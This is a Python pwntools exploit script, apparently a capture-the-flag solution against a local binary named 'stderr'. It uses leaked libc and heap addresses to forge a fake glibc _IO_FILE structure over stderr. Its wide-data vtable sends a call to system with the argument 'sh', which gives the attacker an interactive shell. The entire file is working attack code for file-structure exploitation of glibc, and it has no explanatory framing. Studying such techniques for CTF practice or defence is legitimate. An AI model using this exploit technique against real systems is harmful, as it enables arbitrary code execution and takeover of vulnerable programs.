#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnlib.util.proc import wait_for_debugger
from pwn import *
from pwnlib import gdb
from typing import no_type_check

context.terminal = "tmux neww -a".split()
context.aslr = False

exe = context.binary = ELF(args.EXE or "stderr")  # type: ignore
libc = ELF("./libc.so.6")


@no_type_check
def start(argv=[], *a, **kw) -> process:
    return process([exe.path] + argv, *a, **kw)


gdbscript = """
continue
""".format(**locals())


io = start()
sla = io.sendlineafter
sa = io.sendafter
sl = io.sendline
ru = io.recvuntil
rl = io.recvline


@no_type_check
def bp():
    if args.GDB:
        wait_for_debugger(io.pid)
        pause()


bp()

ru(b"puts:")
libc.address = int(ru(b" ", drop=True), 16) - libc.sym["puts"]

ru(b"heap:")
heap = int(ru(b" ", drop=True), 16)

info("libc: %#x", libc.address)
info("heap: %#x", heap)

fp_at = libc.sym["_IO_2_1_stderr_"]
info("fp_at: %#x", fp_at)

# fmt: off
fp = {
    # _IO_FILE
    # -----------------------------

    0x00: b"a;sh\x00", # fp->_flags & _IO_NO_WRITE check in _IO_wdoallocbuf
    0xc0: p32(10),   # mode, fp->_mode > 0
    0x82: p8(0),     # _vtable_offset, _IO_vtable_offset (fp) == 0
    0x88: libc.sym["_IO_stdfile_0_lock"],
    0xa0: fp_at - 0x10,     # _wide_data

    0xd8: libc.sym["_IO_wfile_jumps"],  # <-- DONT ADD THIS

    # _IO_wide_data
    # -----------------------------

    # fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
    0x18 - 0x10: 0,      # _IO_write_base
    0x20 - 0x10: 8,      # _IO_write_ptr
    0x30 - 0x10: 0,      # _IO_buf_base, fp->_wide_data->_IO_buf_base
    0xe0 - 0x10: fp_at, # _wide_vtable

    # _IO_wide_data->_wide_vtable
    # -----------------------------

    0x68: libc.sym["system"], # __doalloc
}
# fmt: on


fp = flat(fp, filler=b"\x00")

io.send(fp)

io.interactive()
